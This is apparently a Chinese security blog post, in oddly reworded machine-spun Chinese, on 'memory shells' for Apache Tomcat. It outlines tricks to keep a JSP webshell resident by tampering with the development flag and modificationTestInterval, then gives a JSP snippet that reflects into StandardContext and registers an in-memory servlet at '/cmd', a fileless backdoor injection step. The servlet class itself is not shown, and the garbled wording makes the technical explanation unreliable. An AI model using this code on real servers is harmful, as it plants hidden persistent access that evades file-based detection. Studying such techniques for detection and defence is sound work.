浅析JSP型内存马

前言

文章引见了两种完成jsp内存马内存驻留的思绪:

  • 反射关闭development属性,即从开发形式转为消费形式
  • 修正Options对象的modificationTestInterval属性,即修正Tomcat检查JSP更新的时间距离

这两种都是属于在开发形式下才需求停止的修正,消费环境对JSP的检查是经过checkInterval属性,不过由于普通遇到的都是开发形式,便不再深究。

从Servlet型取得jspServlet型

文章中引见的思绪总的来说都是经过中缀tomcat对JSP的检查机制,避免初次加载后再产生编译文件,而初次加载的JSP文件会产生落地行为,由于JspServlet#serviceJspFile会经过查找JSP文件能否存在再装载wrapper

然后处置JSP Servlet默许的JspServletWrapper类也会由于mustCompile初始值为true对JSP compile,这也是上文中师傅对后续JSP检查提出绕过的中央。

那么我们能否能够换一种思绪,jsp也是一种特殊的servlet型,所以就用servlet那一套,先上一段servlet型内存马代码:

<%
  Field reqF = request.getClass().getDeclaredField("request");
  reqF.setAccessible(true);
  Request req = (Request) reqF.get(request);
  StandardContext context = (StandardContext) req.getContext();

  Servlet servlet = new ServletTest(); // 继承Servlet类的子类
  String name = servlet.getClass().getSimpleName();

  org.apache.catalina.Wrapper newWrapper = context.createWrapper();
  newWrapper.setName(name);
  newWrapper.setLoadOnStartup(1);
  newWrapper.setServlet(servlet);
  newWrapper.setServletClass(servlet.getClass().getName());

  context.addChild(newWrapper);
  context.addServletMappingDecoded("/cmd",name);
%>
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像韩出0